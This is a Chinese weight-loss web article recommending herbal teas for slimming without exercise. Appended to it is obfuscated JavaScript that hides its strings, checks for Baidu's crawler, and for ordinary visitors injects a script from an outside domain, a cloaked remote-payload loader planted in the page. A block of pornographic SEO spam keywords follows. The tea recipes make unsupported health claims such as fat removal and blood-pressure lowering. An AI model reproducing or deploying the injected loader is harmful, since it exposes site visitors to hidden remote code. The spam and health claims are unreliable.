當前位置:首頁 > 減肥 > 運動減肥 > 正文

有什么方法可以不運動來減肥呢?

2017-04-21 16:10:05  來源:360常識網   熱度:
導語:很多的女性朋友平時總是會愛慕別人纖瘦的身材,但是自己又不想長時間拿來進行運動,或者有時候由于種種的原因無法進行運動,這時候身體總是

很多的女性朋友平時總是會愛慕別人纖瘦的身材,但是自己又不想長時間拿來進行運動,或者有時候由于種種的原因無法進行運動,這時候身體總是會不斷的變胖,其實,平時有很多的方法都能夠瘦身,今天小編就來介紹一下,可以不運動而有效的減掉身上肥肉的一些方法。

減肥健身茶——去脂通便降壓減肥

材料:新鮮桔皮1片、紅棗5顆、紅茶包一個

做法:紅棗切開,與桔皮共用開水沖泡飲用。

2.材料:金銀花50g、菊花50g、山楂50g、蜂蜜少許

做法:將金銀花、菊花、山楂一同放入鍋中,加2000cc水煎煮30分鐘后,濾汁。再加水煮一次,再濾汁,置于火上加熱,燒至微微沸騰后放涼,加入少許蜂蜜。

3.材料:決明子、山楂各等分、磨成粗末狀

做法:每次取5g,以開水沖泡,建議每日飲用三次。

葉茶——清肝解毒補充體力

1.材料:食醋3~5cc、茶葉3g

做法:以開水200cc沖泡茶葉,趁熱喝完,一日內可做數次沖泡。

2.材料:新鮮絲瓜葉、苦瓜葉、荷葉各30g(也可用絲瓜、苦瓜代替)

做法:材料洗凈后加水2000cc煎湯代茶飲用,一天一服。

3.材料:山楂50g、洋菜20g、冰糖少許

做法:山楂加350cc水煮30分鐘,然后去渣。洋菜切戲加入山楂水和冰糖,煮至洋菜完全融化,放涼后放進冰箱冷藏。

陳皮車前草茶——利尿、減肥、提神

材料:陳皮3g、車前草5g、綠茶5g

做法:材料置于杯中,用沸水沖泡后當茶水飲用。

吃什么可以瘦腿四、昆藻茶——消痰、利水、減肥

材料:海藻6g、昆布6g、茯苓3g、苡仁8g、烏龍茶2g

做法:加水500cc,先煮苡仁,15分鐘后再放入其他材料,繼續煮15分鐘后去渣,當茶飲用。

想要減肥的女性朋友,平時在家里面可以自己通過以上的方法來進行,當然如果想要快速的達到更好的減肥效果,也可以配合進行一些適度的鍛煉,比如每天進行散步,慢跑,跳繩,踢毽子等等的有氧運動,不僅能夠減肥,還會使得女性的精氣神更好。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
日本精品一区二区三本中文| 国产呦小j女精品视频| 香蕉国产精品频视| 国产精品一区二区无线| 亚洲av午夜精品无码专区| 久久国产综合精品五月天| 亚洲国产精品嫩草影院| 亚洲av无码精品网站| 免费观看四虎精品成人| 国产精品久久久久9999| 久久精品女人毛片国产| 九九在线精品视频| 午夜人屠h精品全集| 久久精品国产亚洲AV忘忧草18 | 亚洲av无码成人精品区一本二本| 奇米精品一区二区三区在线观看| 狠狠热精品免费观看| 久久亚洲欧美国产精品| 亚洲精品国产肉丝袜久久| 久久精品一区二区| 久久精品国产第一区二区| 国产精品国产三级国产专播下| 国产精品91在线| 久久精品水蜜桃av综合天堂| 九九热这里只有在线精品视| WWW国产精品内射老师| 亚洲精品午夜无码电影网| 国产在线麻豆精品观看| 国产精品卡一卡二卡三| 国产精品手机在线| 亚洲精品国产专区91在线| 久久国产精品免费看| 国产精品无码A∨精品影院| 久久精品无码一区二区app| 无码精品久久一区二区三区| 国产午夜亚洲精品不卡电影| 精品久久久久久久99热| 精品人妻系列无码人妻漫画| 网友自拍区视频精品| 国产精品视频免费观看| 国产成人精品视频在放|